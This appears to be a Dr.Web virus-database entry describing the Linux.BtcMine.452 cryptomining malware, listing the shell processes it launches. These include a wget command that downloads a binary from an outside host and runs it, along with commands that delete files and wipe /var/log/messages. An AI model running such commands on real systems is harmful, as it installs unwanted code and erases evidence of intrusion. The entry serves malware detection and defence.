Linux.BtcMine.452

Linux.BtcMine.452

Added to the Dr.Web virus database: 2020-10-11

Virus description added: 2020-10-10

Malicious functions:

Launches itself as a daemon

Launches processes:

sh -c md5sum /usr/bin/pamdicks
md5sum /usr/bin/pamdicks
sh -c wget -c http://a.powerofwish.com/up-sugar -O /var/lib/up && chmod 755 /var/lib/up && /var/lib/up
wget -c http://a.powerofwish.com/up-sugar -O /var/lib/up
chmod 755 /var/lib/up
/var/lib/up
sh -c rm -f /usr/bin/pamdicks 1> /dev/null 2>&1
rm -f /usr/bin/pamdicks
sh -c rm -f /usr/bin/pamdicks.org 1> /dev/null 2>&1
rm -f /usr/bin/pamdicks.org
sh -c rm -f /usr/bin/pamdicks.org1 1> /dev/null 2>&1
rm -f /usr/bin/pamdicks.org1
sh -c rm -f /usr/bin/pamdicks.org2 1> /dev/null 2>&1
rm -f /usr/bin/pamdicks.org2
sh -c rm -rf /tmp/up 1> /dev/null 2>&1
rm -rf /tmp/up
sh -c rm -rf /var/lib//up 1> /dev/null 2>&1
rm -rf /var/lib//up
sh -c /usr/bin/pamdicks
/usr/bin/pamdicks
sh -c rm -f /etc/hosts.old
rm -f /etc/hosts.old
sh -c echo > /var/log/messages
sh -c rm -rf /tmp/chkmem 1> /dev/null 2>&1
rm -rf /tmp/chkmem
sh -c rm -rf /var/lib/chkmem 1> /dev/null 2>&1
rm -rf /var/lib/chkmem

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

HTTP GET requests:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers: